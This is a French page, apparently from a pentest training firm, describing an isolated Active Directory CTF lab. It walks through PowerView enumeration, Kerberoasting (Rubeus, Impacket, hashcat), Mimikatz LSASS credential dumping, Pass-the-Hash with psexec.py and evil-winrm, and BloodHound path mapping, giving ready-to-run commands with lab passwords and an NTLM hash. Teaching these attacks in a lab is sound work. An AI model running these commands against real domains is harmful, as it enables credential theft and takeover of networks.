PowerView / PowerSploit
Framework PowerShell pour l'énumération Active Directory
Usage : Reconnaissance, énumération des utilisateurs, groupes, GPO
GitHub →Lab CTF Pédagogique Active Directory
Environnement de lab isolé pour comprendre les attaques sur Active Directory et les méthodes de remédiation. Commandes PowerShell, BloodHound, Kerberoasting, Pass-the-Hash et plus encore.
Toutes les commandes et techniques présentées ici sont destinées UNIQUEMENT à un environnement de lab isolé ou CTF interne.
L'utilisation de ces techniques sur des systèmes sans autorisation explicite est illégale et passible de poursuites judiciaires.
Pour pratiquer les techniques de pentest AD en toute sécurité, nous recommandons l'architecture suivante :
# Utilisateurs standards
alice@lab.local (Password: Printemps2024!)
bob@lab.local (Password: Ete2024!)
# Utilisateurs avec privilèges
admin@lab.local (Membre de Domain Admins)
svc_backup@lab.local (Compte de service avec SPN)
# Utilisateurs vulnérables
svc_sql@lab.local (SPN configuré, mot de passe faible)
guest@lab.local (Pre-authentication désactivée)
Objectif : Cartographier l'Active Directory pour identifier les utilisateurs, groupes, GPO et relations de confiance.
# Importer PowerView
Import-Module .\PowerView.ps1
# Énumérer les utilisateurs
Get-DomainUser | Select-Object samaccountname,description
# Énumérer les groupes
Get-DomainGroup | Select-Object name,member
# Trouver les comptes de service avec SPN
Get-DomainUser -SPN | Select-Object samaccountname,serviceprincipalname
# Identifier les administrateurs du domaine
Get-DomainGroupMember "Domain Admins"
Objectif : Extraire les tickets Kerberos TGS des comptes de service pour casser les mots de passe offline.
# Avec Rubeus
Rubeus.exe kerberoast /outfile:hashes.txt
# Avec Impacket (Linux)
GetUserSPNs.py lab.local/alice:Printemps2024! -dc-ip 10.10.0.10 -request
# Cracker les hashes avec Hashcat
hashcat -m 13100 hashes.txt wordlist.txt --force
Objectif : Utiliser le hash NTLM d'un compte privilégié pour s'authentifier sans connaître le mot de passe en clair.
# Extraction avec Mimikatz (nécessite privilèges locaux admin)
mimikatz # privilege::debug
mimikatz # sekurlsa::logonpasswords
# Pass-the-Hash avec Impacket
psexec.py -hashes :32ed87bdb5fdc5e9cba88547376818d4 admin@10.10.0.20
# Pass-the-Hash avec Evil-WinRM
evil-winrm -i 10.10.0.20 -u admin -H 32ed87bdb5fdc5e9cba88547376818d4
Objectif : Cartographier visuellement les chemins permettant d'atteindre Domain Admins depuis un compte compromis.
# Collecte avec SharpHound (Windows)
SharpHound.exe -c All -d lab.local --zipfilename output.zip
# Collecte avec BloodHound.py (Linux)
bloodhound-python -u alice -p Printemps2024! -d lab.local -ns 10.10.0.10 -c All
# Importer dans BloodHound
# File > Import Data > Sélectionner output.zip
# Requêtes Cypher utiles
MATCH p=shortestPath((u:User {name:"ALICE@LAB.LOCAL"})-[*1..]->(g:Group {name:"DOMAIN ADMINS@LAB.LOCAL"})) RETURN p
Framework PowerShell pour l'énumération Active Directory
Usage : Reconnaissance, énumération des utilisateurs, groupes, GPO
GitHub →Cartographie visuelle des chemins d'attaque dans Active Directory
Usage : Analyse des relations de confiance et chemins vers DA
GitHub →Boîte à outils Kerberos pour attaques avancées
Usage : Kerberoasting, AS-REP Roasting, Golden/Silver Tickets
GitHub →Extraction de credentials depuis la mémoire LSASS
Usage : Extraction NTLM, Pass-the-Hash, Golden Ticket
GitHub →Suite Python pour interactions réseaux (SMB, Kerberos, LDAP)
Usage : Pass-the-Hash, Kerberoasting, PSExec, SecretsDump
GitHub →Framework post-exploitation pour réseaux Windows
Usage : Spraying, énumération SMB, exécution distante
GitHub →Connect3S propose des formations pratiques sur le pentest Active Directory avec labs dédiés et certification Qualiopi.
Demander une formation → Voir la méthodologie PTES